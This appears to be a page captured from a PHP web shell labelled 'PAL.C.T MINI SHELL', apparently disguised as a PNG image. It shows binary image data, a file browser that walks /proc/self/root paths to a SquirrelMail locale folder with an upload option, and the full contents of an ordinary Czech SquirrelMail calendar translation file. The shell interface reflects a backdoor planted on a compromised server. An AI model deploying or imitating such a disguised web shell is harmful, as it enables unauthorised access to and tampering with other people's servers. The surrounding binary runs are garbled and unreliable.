php  IHDRwQ)Ba pHYs  sRGBgAMA aIDATxMk\Us&uo,mD )Xw+e?tw.oWp;QHZnw`gaiJ9̟灙a=nl[ ʨG;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$y H@E7j 1j+OFRg}ܫ;@Ea~ j`u'o> j-$_q?qSXzG'ay

PAL.C.T MINI SHELL
files >> /proc/self/root/proc/self/root/usr/share/squirrelmail/locale/cs_CZ/LC_MESSAGES/
upload
files >> //proc/self/root/proc/self/root/usr/share/squirrelmail/locale/cs_CZ/LC_MESSAGES/calendar.po

# Czech (cs_CZ) shared_calendars Translation (SquirrelMail plugin)
# Copyright (c) 1999-2009 The SquirrelMail Project Team
# This file is distributed under the same license as the SquirrelMail package.
# Lukáš Prokop <abeceda.prokop@seznam.cz>, 2007.
# $Id: calendar.pot 10877 2006-03-04 11:22:22Z jervfors $
msgid ""
msgstr ""
"Project-Id-Version: shared_calendars\n"
"POT-Creation-Date: 2007-05-11 16:30+0200\n"
"PO-Revision-Date: 2007-05-11 17:07+0200\n"
"Last-Translator: Lukas Prokop <abeceda.prokop@seznam.cz>\n"
"Language-Team: Czech <squirrelmail-i18n@lists.sourceforge.net>\n"
"MIME-Version: 1.0\n"
"Content-Type: text/plain; charset=UTF-8\n"
"Content-Transfer-Encoding: 8bit\n"

#: calendar.php:80 functions.php:1305 interface/month.php:233
msgid "Sunday"
msgstr "Neděle"

#: calendar.php:81 functions.php:1307 interface/month.php:233
msgid "Monday"
msgstr "Pondělí"

#: calendar.php:82 functions.php:1309 interface/month.php:233
msgid "Tuesday"
msgstr "Úterý"

#: calendar.php:83 functions.php:1311 interface/month.php:233
msgid "Wednesday"
msgstr "Středa"

#: calendar.php:84 functions.php:1313 interface/month.php:234
msgid "Thursday"
msgstr "Čtvrtek"

#: calendar.php:85 functions.php:1315 interface/month.php:234
msgid "Friday"
msgstr "Pátek"

#: calendar.php:86 functions.php:1317 interface/month.php:234
msgid "Saturday"
msgstr "Sobota"

#: calendar.php:107 interface/helper_month.php:184
#: interface/helper_month.php:236 interface/helper_time.php:175
#: interface/helper_time.php:221 interface/month.php:346
msgid "TODAY"
msgstr "DNES"

#: calendar.php:147 interface/day.php:695 interface/day.php:722
#: interface/list_calendars.php:138 interface/list_calendars.php:147
#: interface/month.php:638 interface/month.php:664 interface/month.php:690
#: interface/month.php:716
msgid "Go"
msgstr "Jdi"

#: calendar_data.php:67
#, php-format
msgid "Could not write calendar file %s"
msgstr "Nelze zapsat kalendář - soubor %s"

#: calendar_options.php:131
msgid "Badly formatted header color"
msgstr "Špatné formátování barvy - záhlaví"

#: calendar_options.php:146
msgid "Badly formatted today color"
msgstr "Špatné formátování barvy - dnes"

#: calendar_options.php:161
msgid "Badly formatted event color"
msgstr "Špatné formátování barvy - událost"

#: calendar_options.php:176
msgid "Badly formatted day color"
msgstr "Špatné formátování barvy - den"

#: calendar_options.php:186
msgid "Day view start time must come before end time"
msgstr "Počáteční čas denního zobrazení musí být před koncovým časem"

#: classes/calendar.php:592 functions.php:384
#, php-format
msgid "Personal Calendar for %s"
msgstr "Osobní kalendář - %s"

#: classes/event.php:2893
msgid "..."
msgstr "..."

#: classes/event.php:3727
msgid "Must have domain information"
msgstr "Musí mít doménovou informaci"

#: classes/event.php:3731
msgid "Valid event type must be specified"
msgstr "Musí být specifikována platná událost"

#: classes/event.php:3736
msgid "Must specify valid recurrence type"
msgstr "Musí být specifikován platný typ opakování "

#: classes/event.php:3745
msgid ""
"Overall end of recurrence for recurring events must come after end of "
"initial occurrence"
msgstr ""
"Úplný konec opakování pro opakující se události musí být časově za prvotním "
"výskytem"

#: classes/event.php:3750
msgid "Must specify valid recurrence interval"
msgstr "Musí být specifikován platný interval opakování"

#: classes/event.php:3754
msgid "Event must have a summary/title"
msgstr "Událost musí mít titul/popis"

#: classes/event.php:3758
msgid "Must specify valid event priority"
msgstr "Musí být specifikována platná priorita události"

#: classes/event.php:3762
msgid "Event must have a valid start date/time"
msgstr "Událost musí mít platné počáteční datum/čas"

#: classes/event.php:3766
msgid "Event must have a valid end date/time"
msgstr "Událost musí mít platné ukončovací datum/čas"

#: classes/event.php:3769
msgid "End date/time must come after start date and time"
msgstr "Koncové datum/čas musí následovat po počátečním datu a čase"

#: classes/event.php:3773
msgid "At least one parent calendar must be given"
msgstr "Musí existovat alespoň jeden nadřazený kalendář"

#: classes/event.php:3777
msgid "Event must have a creator"
msgstr "Událost musí mít autora"

#: classes/event.php:3781
msgid "Event must have a creation date"
msgstr "Událost musí mít datum vytvoření"

#: classes/event.php:3785
msgid "Event must have at least one owner"
msgstr "Událost musí mít alespoň jednoho vlastníka"

#: constants.php:159 functions.php:1694 functions.php:1696
msgid "Unknown"
msgstr "Neznámá"

#: constants.php:160
msgid "Emergency"
msgstr "Pohotovostní"

#: constants.php:161
msgid "Urgent"
msgstr "Urgentní"

#: constants.php:162
msgid "Serious"
msgstr "Vážná"

#: constants.php:163
msgid "Important"
msgstr "Důležitá"

#: constants.php:164
msgid "Normal"
msgstr "Normální"

#: constants.php:165
msgid "Secondary"
msgstr "Druhořadá"

#: constants.php:166
msgid "Low"
msgstr "Nízká"

#: constants.php:167
msgid "Insignificant"
msgstr "Bezvýznamná"

#: constants.php:168
msgid "Ignore"
msgstr "Ignorovatelná"

#: constants.php:223
msgid "Days"
msgstr "Dny"

#: constants.php:224
msgid "Weeks"
msgstr "Týdny"

#: constants.php:225
msgid "Months"
msgstr "Měsíce"

#: constants.php:226
msgid "Years"
msgstr "Roky"

#: event_create.php:89
msgid "Start time:"
msgstr "Začátek:"

#: event_create.php:100 event_edit.php:141
msgid "Length:"
msgstr "Délka:"

#: event_create.php:107 event_edit.php:148 event_edit.php:189
#: event_edit.php:213 interface/event.php:431 interface/event.php:747
msgid "Priority:"
msgstr "Priorita:"

#: event_create.php:114 event_create.php:189 event_delete.php:102
#: event_edit.php:155 event_edit.php:193 event_edit.php:217
msgid "Title:"
msgstr "Název:"

#: event_create.php:126
msgid "Set Event"
msgstr "Nastav Událost:"

#: event_create.php:157 event_delete.php:157 event_edit.php:282
msgid "l, F j Y"
msgstr "l, F j Y"

#: event_create.php:178
msgid "Event Has been added!"
msgstr "Událost byla přidána!"

#: event_create.php:181 event_delete.php:94 event_edit.php:115
#: event_edit.php:181 event_edit.php:205
msgid "Date:"
msgstr "Datum:"

#: event_create.php:185 event_delete.php:98 event_edit.php:130
#: event_edit.php:185 event_edit.php:209
msgid "Time:"
msgstr "Čas:"

#: event_create.php:193 event_delete.php:106 event_edit.php:197
#: event_edit.php:221
msgid "Message:"
msgstr "Zpráva:"

#: event_create.php:198 event_delete.php:163 event_edit.php:305
#: interface/calendar.php:45 interface/calendar_options.php:151
msgid "Day View"
msgstr "Denní Pohled"

#: event_delete.php:91
msgid "Do you really want to delete this event?"
msgstr "Opravdu chcete smazat tuto událost?"

#: event_delete.php:121 event_edit.php:243 interface/calendar_options.php:115
#: interface/calendar_options.php:124 interface/calendar_options.php:133
#: interface/calendar_options.php:157 interface/calendar_options.php:166
#: interface/calendar_options.php:347 interface/calendar_options.php:410
#: interface/calendar_options.php:419 interface/calendar_options.php:428
#: interface/calendar_options.php:437
msgid "Yes"
msgstr "Ano"

#: event_delete.php:129 event_edit.php:251 interface/calendar_options.php:118
#: interface/calendar_options.php:127 interface/calendar_options.php:136
#: interface/calendar_options.php:160 interface/calendar_options.php:169
#: interface/calendar_options.php:350 interface/calendar_options.php:413
#: interface/calendar_options.php:422 interface/calendar_options.php:431
#: interface/calendar_options.php:440
msgid "No"
msgstr "Ne"

#: event_delete.php:161
msgid "Event deleted!"
msgstr "Událost smazána!"

#: event_delete.php:169
msgid "Nothing to delete!"
msgstr "Není co smazat!"

#: event_edit.php:165 interface/event.php:163
msgid "Update Event"
msgstr "Aktualizovat Událost"

#: event_edit.php:178
msgid "Do you really want to change this event from:"
msgstr "Opravdu chcete změnit tuto událost z:"

#: event_edit.php:201
msgid "to:"
msgstr "na:"

#: event_edit.php:300
msgid "Event updated!"
msgstr "Událost Aktualizována!"

#: event_manage.php:295
msgid "Event Created Successfully"
msgstr "Událost Vytvořena Úspěšně"

#: event_manage.php:367
msgid "Event Updated Successfully"
msgstr "Událost Aktualizována Úspěšně"

#: functions.php:443 functions.php:446 interface/month.php:166
msgid "Today"
msgstr "Dnes"

#: functions.php:450 interface/event.php:203 interface/event.php:710
msgid "All Day"
msgstr "Všechny dny"

#: functions.php:489
msgid "Calendar"
msgstr "Kalendář"

#: functions.php:515 interface/calendar_options.php:61
msgid "Calendar Preferences"
msgstr "Možnosti Kalendáře"

#: functions.php:517
msgid ""
"Change the way your calendars behave and are displayed, including the "
"miniature calendar beneath the folder list."
msgstr ""
"Změny nastavení chovaní a zobrazování kalendářů vč. mini-kalendáře pod "
"seznamem adresářů."

#: functions.php:533
msgid "Calendar Administration"
msgstr "Administrace kalendáře"

#: functions.php:535
msgid ""
"Create and maintain shared calendars. Edit holidays, assign calendar access "
"by user, or create publicly available calendars."
msgstr ""
"Vytváření a správa sdílených kalendářů. Upravování státních svátků, "
"přiřazování práv ke kalendářům podle uživatelů či vytváření veřejně "
"dostupných kalendářů."

#: functions.php:1436
#, php-format
msgid "%d min."
msgstr "%d min."

#: functions.php:1448
#, php-format
msgid "%s hr."
msgstr "%s hod."

#: functions.php:1457
#, php-format
msgid "%s day"
msgstr "%s den"

#: functions.php:1459
#, php-format
msgid "%s days"
msgstr "%s dnů"

#: functions.php:1465
#, php-format
msgid "%s wk."
msgstr "%s týd."

#: functions.php:1544 functions.php:1545 functions.php:1546 functions.php:1547
#: functions.php:1548 functions.php:1549 functions.php:1550 functions.php:1551
#: functions.php:1552 functions.php:1553 functions.php:1554 functions.php:1555
#: interface/calendar_options.php:176 interface/calendar_options.php:179
#: interface/calendar_options.php:182 interface/calendar_options.php:185
#: interface/calendar_options.php:188 interface/calendar_options.php:191
#: interface/calendar_options.php:194 interface/calendar_options.php:197
#: interface/calendar_options.php:200 interface/calendar_options.php:203
#: interface/calendar_options.php:206 interface/calendar_options.php:209
#: interface/calendar_options.php:253 interface/calendar_options.php:256
#: interface/calendar_options.php:259 interface/calendar_options.php:262
#: interface/calendar_options.php:265 interface/calendar_options.php:268
#: interface/calendar_options.php:271 interface/calendar_options.php:274
#: interface/calendar_options.php:277 interface/calendar_options.php:280
#: interface/calendar_options.php:283 interface/calendar_options.php:286
#: interface/day.php:456
#, php-format
msgid "%sam"
msgstr "%s dop."

#: functions.php:1556 functions.php:1557 functions.php:1558 functions.php:1559
#: functions.php:1560 functions.php:1561 functions.php:1562 functions.php:1563
#: functions.php:1564 functions.php:1565 functions.php:1566 functions.php:1567
#: interface/calendar_options.php:212 interface/calendar_options.php:215
#: interface/calendar_options.php:218 interface/calendar_options.php:221
#: interface/calendar_options.php:224 interface/calendar_options.php:227
#: interface/calendar_options.php:230 interface/calendar_options.php:233
#: interface/calendar_options.php:236 interface/calendar_options.php:239
#: interface/calendar_options.php:242 interface/calendar_options.php:245
#: interface/calendar_options.php:289 interface/calendar_options.php:292
#: interface/calendar_options.php:295 interface/calendar_options.php:298
#: interface/calendar_options.php:301 interface/calendar_options.php:304
#: interface/calendar_options.php:307 interface/calendar_options.php:310
#: interface/calendar_options.php:313 interface/calendar_options.php:316
#: interface/calendar_options.php:319 interface/calendar_options.php:322
#: interface/day.php:457
#, php-format
msgid "%spm"
msgstr "%s odp."

#: interface/add_new_personal_calendar.php:32
#: interface/calendar_options.php:77 interface/edit_calendar.php:33
#: interface/list_calendars.php:39
msgid "Error:"
msgstr "Chyba:"

#: interface/add_new_personal_calendar.php:46
msgid "Create New Calendar"
msgstr "Vytvořit Nový Kalendář"

#: interface/add_new_personal_calendar.php:49
#: interface/admin_interface.php:153 interface/edit_calendar.php:47
msgid "Name"
msgstr "Jméno"

#: interface/add_new_personal_calendar.php:52
msgid "Create"
msgstr "Vytvořit"

#: interface/admin_interface.php:26
msgid "Calendar Setup"
msgstr "Nastavení Kalendáře"

#: interface/admin_interface.php:29
msgid ""
"Create shared access calendars for select users\n"
" or public calendars for all users.\n"
msgstr ""
"Vytvořit sdílený kalendář pro vybrané uživatele\n"
" nebo veřejný kalendář pro všechny uživatele.\n"

#: interface/admin_interface.php:31
msgid "Manage user permissions for your shared calendars.\n"
msgstr "Nastavení práv uživatele pro sdílené adresáře.\n"

#: interface/admin_interface.php:34
msgid "Calendars"
msgstr "Kalendáře"

#: interface/admin_interface.php:39
msgid "Users"
msgstr "Uživatelé"

#: interface/admin_interface.php:85
msgid ""
"<b>Shared</b> calendars can be assigned to users with read only or read/"
"write access. To manage user access to your shared calendars, use the \"Users"
"\" button."
msgstr ""
"<b>Sdílené</b> kalendáře můžou být přiřazeny uživatelům s právy pouze ke "
"čtení nebo ke čtení a zápisu. Pro nastavení práv sdílený kalendářů použij "
"tlačítko \"Uživatelé\"."

#: interface/admin_interface.php:90
msgid ""
"<b>Public</b> calendars are available to all users in addition to their "
"private personal calendar."
msgstr ""
"<b>Veřejné</b> kalendáře jsou dostupné všem uživatelům navíc k jejich "
"soukromému osobnímu kalendáři."

#: interface/admin_interface.php:101
msgid "Shared Calendars"
msgstr "Sdílené Kalendáře"

#: interface/admin_interface.php:114
msgid "Shared calendars"
msgstr "Sdílené kalendáře"

#: interface/admin_interface.php:116
msgid "No Shared Calendars Defined"
msgstr "Žádné Sdílené Kalendáře Nejsou Definovány"

#: interface/admin_interface.php:125
msgid "Public Calendars"
msgstr "Veřejné Kalendáře"

#: interface/admin_interface.php:139
msgid "Public calendars"
msgstr "Veřejné kalendáře"

#: interface/admin_interface.php:141
msgid "No Public Calendars Defined"
msgstr "Žádné Veřejné Kalendáře Nejsou Definovány"

#: interface/admin_interface.php:145
msgid "Delete"
msgstr "Smazat"

#: interface/admin_interface.php:151
msgid "Add a new calender"
msgstr "Přidat nový kalendář"

#: interface/admin_interface.php:160
msgid "make <b>PUBLIC</b> (read/write for all users)"
msgstr "vytvořit <b>VEŘEJNÝ</b> (čtení/zápis pro všechny)"

#: interface/admin_interface.php:163
msgid "Add"
msgstr "Přidat"

#: interface/admin_interface.php:195
msgid ""
"<b>To delete one or more users</b> from a calendar, check the box next to "
"each username and click the 'Delete Users' button."
msgstr ""
"<b>Pro vymazání uživatele/ů</b> z kalendáře, zaškrtni políčko vedle "
"uživatelského jména a klikni na tlačítko \"Smazat Uživatele\"."

#: interface/admin_interface.php:198
msgid ""
"<b>To add a user</b> to a calendar, type in the username below the calendar, "
"choose the user's access level, and click the 'Add User' button."
msgstr ""
"<b>K přidání uživatele</b> do kalendáře, zapiš uživatelské jméno pod "
"kalendář, zvol oprávnění a zmáčkni tlačítko \"Přidat uživatele\"."

#: interface/admin_interface.php:201
msgid ""
"Note that you may use wildcards in user names: * means \"zero or more "
"characters\" and ? means \"exactly one alphanumeric character\". For "
"example, \"*@mydomain.com\" will give everyone in \"mydomain.com\" access to "
"the calendars you assign to that username.\n"
msgstr "K zápisu uživatelských jmen můžete používat zástupné znaky: * znamená \"nula nebo více znaků\", ? znamená \"přesně jeden alfanumerický znak\". Např. \"*@mojedomena.com\" tedy dává přistup všem uživatelským jménům z domény \"mojedomena.com\".\n"

#: interface/admin_interface.php:204
msgid ""
"<b>To update user access levels</b> for a calendar, adjust the 'Access "
"Level' selections, then click the 'Save' button below that calendar."
msgstr "<b>K aktualizaci uživatelských práv</b> pro kalendář vyberte \"Přístupové Práva\" a klikněte na tlačítko \"Uložit\" pod kalendářem."

#: interface/admin_interface.php:207
msgid ""
"Note that only owners of public calendars will have write access to those "
"calendars.\n"
msgstr "Jenom vlastníci veřejných kalendářů mají právo k zápisu do těchto kalendářů.\n"

#: interface/admin_interface.php:215
msgid "No Shared Calendars Have Been Defined"
msgstr "Není Definován Žádný Sdílený Kalendář"

#: interface/admin_interface.php:232
msgid "Public"
msgstr "Veřejný"

#: interface/admin_interface.php:234 interface/calendar.php:72
msgid "Edit Holidays"
msgstr "Upravit Svátky"

#: interface/admin_interface.php:237
msgid "User"
msgstr "Uživatel"

#: interface/admin_interface.php:238
msgid "Access Level"
msgstr "Přístupové Práva"

#: interface/admin_interface.php:247
msgid "No users defined for this calendar"
msgstr "Pro tento kalendář není definován žádný uživatel"

#: interface/admin_interface.php:261 interface/admin_interface.php:282
msgid "Read"
msgstr "Čtení"

#: interface/admin_interface.php:264 interface/admin_interface.php:283
msgid "Write"
msgstr "Zápis"

#: interface/admin_interface.php:268 interface/admin_interface.php:285
msgid "Owner"
msgstr "Vlastník"

#: interface/admin_interface.php:274
msgid "Delete Users"
msgstr "Smaž Uživatele"

#: interface/admin_interface.php:287
msgid "Add User"
msgstr "Přidat Uživatele"

#: interface/admin_interface.php:290 interface/edit_calendar.php:50
msgid "Save"
msgstr "Uložit"

#: interface/admin_interface.php:327
msgid "<b>To create a holiday,</b> blah blah and click the 'Blah Blah' button."
msgstr "<b>K vytvoření svátku,</b> blah blah a klikněte na tlačítko 'Blah Blah'."

#: interface/admin_interface.php:330
msgid "Note that you must also add the new holiday to your calendar if desired.\n"
msgstr "Pokud je to žádoucí, je také potřeba definovat v kalendáři svátky.\n"

#: interface/admin_interface.php:333
msgid ""
"<b>To add a holiday</b> to a calendar, blah blah blah and click the 'Blah "
"Blah' button."
msgstr "<b>K přidání svátku</b> do kalendáře, blah blah blah a klikněte na tlačítko 'Blah Blah'."

#: interface/admin_interface.php:336
msgid ""
"<b>To remove a holiday</b> from a calendar, blah blah blah, then click the "
"'Blah' button below that calendar."
msgstr ""
"<b>K odstranění svátku</b> z kalendáře, blah blah blah, pak klikněte na "
"tlačítko 'Blah' pod kalendářem."

#: interface/admin_interface.php:344
msgid "No Holidays Have Been Defined"
msgstr "Nejsou Definovány Žádné Svátky"

#: interface/calendar.php:37
msgid "Year View"
msgstr "Roční pohled"

#: interface/calendar.php:41
msgid "Month View"
msgstr "Měsíční pohled"

#: interface/calendar.php:57
msgid "Tasks"
msgstr "Úkoly"

#: interface/calendar_options.php:85
msgid "General Calendar Options"
msgstr "Hlavní Možnosti Kalendáře"

#: interface/calendar_options.php:100
msgid "First Day of Week:"
msgstr "První den v týdnu"

#: interface/calendar_options.php:106
msgid "Priority at which Events Are Highlighted:"
msgstr "Které priority \"Událostí\" jsou zvýrazněny:"

#: interface/calendar_options.php:112
msgid "Show Daily Add Event Buttons in Month View:"
msgstr "Zobraz tlačítko \"Přidání Události\" denně v měsíčním pohledu:"

#: interface/calendar_options.php:121
msgid "Show Week Numbers in Month View:"
msgstr "Zobraz \"Čísla Týdnů\" v měsíčním pohledu:"

#: interface/calendar_options.php:130
msgid "Show Event Start Times in Month View:"
msgstr "Zobraz \"Počáteční Čas Události\" v měsíčním pohledu:"

#: interface/calendar_options.php:139
msgid "Maximum Number Events Shown Per Day in Month View:"
msgstr "Maximální počet zobrazených událostí za den v měsíčním pohledu:"

#: interface/calendar_options.php:145
msgid "Click on Event in Month View Goes To:"
msgstr "Kliknutí na \"Událost\" v měsíčním pohledu vede na: "

#: interface/calendar_options.php:148
msgid "Event View"
msgstr "Zobrazení Události"

#: interface/calendar_options.php:154
msgid "Show Compacted Time of Day in Day View:"
msgstr "Zobraz \"Kompaktní Čas\" v denním pohledu:"

#: interface/calendar_options.php:163
msgid "Show Hourly Add Event Buttons in Day View:"
msgstr "Zobraz tlačítko \"Přidání Události\" hodinově v denním pohledu:"

#: interface/calendar_options.php:172
msgid "Day View Start Time:"
msgstr "Počáteční čas denního zobrazení:"

#: interface/calendar_options.php:249
msgid "Day View End Time:"
msgstr "Koncový čas denního zobrazení:"

#: interface/calendar_options.php:326
msgid "Clock Skew To Remotely Hosted Calendars:"
msgstr "Časový posun ke vzdáleně hostovaným kalendářům:"

#: interface/calendar_options.php:330
msgid "Minutes"
msgstr "Minuty"

#: interface/calendar_options.php:341
msgid "Small Calendar"
msgstr "Malý Kalendář"

#: interface/calendar_options.php:344
msgid "Show Small Calendar Under Folder List:"
msgstr "Zobraz \"Malý Kalendář\" pod seznamem adresářů:"

#: interface/calendar_options.php:358
msgid "Small Calendar Source:"
msgstr "Zdroj \"Malého Kalendáře\":"

#: interface/calendar_options.php:369 interface/day.php:720
#: interface/list_calendars.php:92 interface/list_calendars.php:153
#: interface/month.php:662 interface/month.php:714
msgid "Personal"
msgstr "Osobní"

#: interface/calendar_options.php:373
msgid "Small Calendar Size:"
msgstr "Velikost \"Malého Kalendáře\":"

#: interface/calendar_options.php:377
msgid "Default"
msgstr "Implicitní"

#: interface/calendar_options.php:380
msgid "10px"
msgstr "10px"

#: interface/calendar_options.php:383
msgid "12px"
msgstr "12px"

#: interface/calendar_options.php:386
msgid "14px"
msgstr "14px"

#: interface/calendar_options.php:389
msgid "16px"
msgstr "16px"

#: interface/calendar_options.php:393
msgid "Small Calendar Separator:"
msgstr "Oddělovač \"Malého Kalendáře\":"

#: interface/calendar_options.php:397
msgid "None"
msgstr "Žádný"

#: interface/calendar_options.php:400
msgid "Horizontal rule"
msgstr "Horizontální linka"

#: interface/calendar_options.php:403
msgid "Box"
msgstr "Rám"

#: interface/calendar_options.php:407
msgid "Show Year Title Above Small Calendar:"
msgstr "Zobraz rok nad \"Malým Kalendářem\":"

#: interface/calendar_options.php:416
msgid "Show Today Link Above Small Calendar:"
msgstr "Zobraz odkaz na denní pohled - \"Dnes\" nad \"Malým Kalendářem\":"

#: interface/calendar_options.php:425
msgid "Show Day Headers Above Small Calendar:"
msgstr "Zobraz poč. písmena dnů v týdnu nad \"Malým Kalendářem\":"

#: interface/calendar_options.php:434
msgid "Use Same Background Colors for Days as Regular Calendar:"
msgstr "Použít stejné barvy pozadí pro dny jako v normálním kalendáři:"

#: interface/calendar_options.php:443
msgid "Header Color:"
msgstr "Barva Záhlaví:"

#: interface/calendar_options.php:448
msgid "Today Color:"
msgstr "Barva pro \"Dnes\":"

#: interface/calendar_options.php:453
msgid "Event Color:"
msgstr "Barva Události:"

#: interface/calendar_options.php:458
msgid "Day Color:"
msgstr "Barva pro \"Den\":"

#: interface/calendar_options.php:463
msgid "Event Text Style:"
msgstr "Styl textu Události:"

#: interface/calendar_options.php:467
msgid "normal"
msgstr "normální"

#: interface/calendar_options.php:470
msgid "italic"
msgstr "italic"

#: interface/calendar_options.php:491
msgid "Submit"
msgstr "Potvrdit"

#: interface/color.php:34
msgid "Color Picker"
msgstr "Výběr Barev"

#: interface/color.php:255
msgid ""
"Click a box and the hexadecimal color will be shown below.  Use these hex "
"values for color box settings."
msgstr "Klikni na čtvereček a zobrazí se hexadecimální hodnota dané barvy. Tuto hodnotu použijte pro nastavení barev."

#: interface/color.php:256
msgid "Hex Value"
msgstr "Hexa Hodnota"

#: interface/day.php:404 interface/day.php:606
msgid "More"
msgstr "Více"

#: interface/day.php:703 interface/month.php:646 interface/month.php:698
msgid "Add Event"
msgstr "Přidat Událost"

#: interface/edit_calendar.php:44
msgid "Edit Calendar"
msgstr "Upravit Kalendář"

#: interface/event.php:165
msgid "Create Event"
msgstr "Vytvořit Událost"

#: interface/event.php:198 interface/event.php:698
msgid "Summary:"
msgstr "Titulek:"

#: interface/event.php:210 interface/event.php:707
msgid "Start:"
msgstr "Začátek:"

#: interface/event.php:259 interface/event.php:717
msgid "End:"
msgstr "Konec:"

#: interface/event.php:309
msgid "Duration:"
msgstr "Trvání:"

#: interface/event.php:321 interface/event.php:726
msgid "Recurrence:"
msgstr "Opakování:"

#: interface/event.php:325 interface/event.php:628
msgid "One Time"
msgstr "Jednou"

#: interface/event.php:329 interface/event.php:630
msgid "Recurring Every"
msgstr "Opakující se každý/ch"

#: interface/event.php:340
msgid "Help"
msgstr "Nápověda"

#: interface/event.php:342 interface/event.php:729
msgid "On"
msgstr "V"

#: interface/event.php:346 interface/helper_month.php:103
#: interface/helper_time.php:109
msgid "Sun"
msgstr "Ne"

#: interface/event.php:350 interface/helper_month.php:103
#: interface/helper_time.php:111
msgid "Mon"
msgstr "Po"

#: interface/event.php:354 interface/helper_month.php:103
#: interface/helper_time.php:113
msgid "Tue"
msgstr "Út"

#: interface/event.php:358 interface/helper_month.php:103
#: interface/helper_time.php:115
msgid "Wed"
msgstr "St"

#: interface/event.php:362 interface/helper_month.php:104
#: interface/helper_time.php:117
msgid "Thu"
msgstr "Čt"

#: interface/event.php:366 interface/helper_month.php:104
#: interface/helper_time.php:119
msgid "Fri"
msgstr "Pá"

#: interface/event.php:370 interface/helper_month.php:104
#: interface/helper_time.php:121
msgid "Sat"
msgstr "So"

#: interface/event.php:380 interface/event.php:737
msgid "End Recurrence:"
msgstr "Konec opakování:"

#: interface/event.php:419
msgid "Recurrence Count:"
msgstr "Počet Opakování:"

#: interface/event.php:446 interface/event.php:756
msgid "Reminder:"
msgstr "Upomínka:"

#: interface/event.php:462 interface/event.php:594
msgid "before event start"
msgstr "před začátkem události"

#: interface/event.php:468 interface/event.php:765
msgid "Description:"
msgstr "Popis:"

#: interface/event.php:486
msgid "Delete Event"
msgstr "Smaž Událost:"

#: interface/event.php:518 interface/event.php:774
msgid "Last Updated:"
msgstr "Poslední Aktualizace:"

#: interface/event.php:528 interface/event.php:784
msgid "Created:"
msgstr "Vytvořeno:"

#: interface/event.php:596
msgid "Reminder not set"
msgstr "Upomínka není nastavena"

#: interface/event.php:739
msgid "Occurrences"
msgstr "Výskyty"

#: interface/event.php:805
msgid "Confirm Deletion"
msgstr "Potvrď Smazání"

#: interface/helper_month.php:31
msgid "Calendar Helper"
msgstr "Nápověda Kalendáře"

#: interface/helper_time.php:31
msgid "Time Helper"
msgstr "Nápověda k Času"

#: interface/list_calendars.php:58
msgid "Available Calendars"
msgstr "Dostupné Kalendáře"

#: interface/list_calendars.php:73
msgid "remove"
msgstr "odstranit"

#: interface/list_calendars.php:78
msgid "edit"
msgstr "upravit"

#: interface/list_calendars.php:86 interface/list_calendars.php:100
msgid "export"
msgstr "export"

#: interface/list_calendars.php:103
msgid "Add Personal Calendar"
msgstr "Přidat Osobní Kalendář"

#: interface/list_calendars.php:133
msgid "Add External Calendar"
msgstr "Přidat Externí Kalendář"

#: interface/list_calendars.php:134
msgid "Address:"
msgstr "Adresa:"

#: interface/list_calendars.php:136
msgid "Override Name:"
msgstr "Přepsat Jméno:"

#: interface/list_calendars.php:144
msgid "Import Calendar"
msgstr "Importovat Kalendář"

#: interface/list_calendars.php:150
msgid "Synch/Merge With"
msgstr "Synch/Sloučit s"

#: interface/list_calendars.php:152
msgid "Auto-detect"
msgstr "Auto-detekce"

#: interface/month.php:232
msgid "S M T W T F S"
msgstr "N P Ú S Č P S"

#: interface/month.php:543
msgid "cont'd"
msgstr "pokračoval"

#: list_calendars.php:82
msgid "Could not load external calendar"
msgstr "Nelze nahrát externí kalendář"

#: list_calendars.php:116
msgid "Could not load external calendar; bad address"
msgstr "Nelze nahrát externí kalendář; špatná adresa"

#: list_calendars.php:193
msgid "Converting old calendar. . ."
msgstr "Konvertuji starý kalendář . . ."

#: list_calendars.php:201
#, php-format
msgid "Problem converting old calendar; please contact your administrator (%s)"
msgstr "Problém s konverzí starého kalendáře; prosím kontaktujte vašeho administrátora (%s)"

#: list_calendars.php:218
#, php-format
msgid "Can't rename %s to %s"
msgstr "Nelze přejmenovat z %s na %s"

#: list_calendars.php:235
#, php-format
msgid ""
"Problem converting old calendar; please contact your administrator (cannot "
"execute %s)"
msgstr "Problém s konverzí starého kalendáře; prosím kontaktujte vašeho administrátora (nelze spustit %s)"

#: list_calendars.php:239
#, php-format
msgid "Can't find old personal calendar: %s"
msgstr "Nemohu najít starý osobní kalendář: %s"

#: list_calendars.php:301
#, php-format
msgid "Successfully merged calendar into \"%s\""
msgstr "Kalendář úspěšně začleněn do \"%s\""

#: list_calendars.php:315
msgid ""
"You already have a calendar with the same ID.  Are you sure you don't want "
"to merge/synch the calendar you are uploading?"
msgstr "Kalendář se stejným ID už existuje. Opravdu nechcete sloučit/synch kalendář který nahráváte ?"
y~or5J={Eeu磝QkᯘG{?+]ן?wM3X^歌>{7پK>on\jyR g/=fOroNVv~Y+NGuÝHWyw[eQʨSb>>}Gmx[o[<{Ϯ_qF vMIENDB`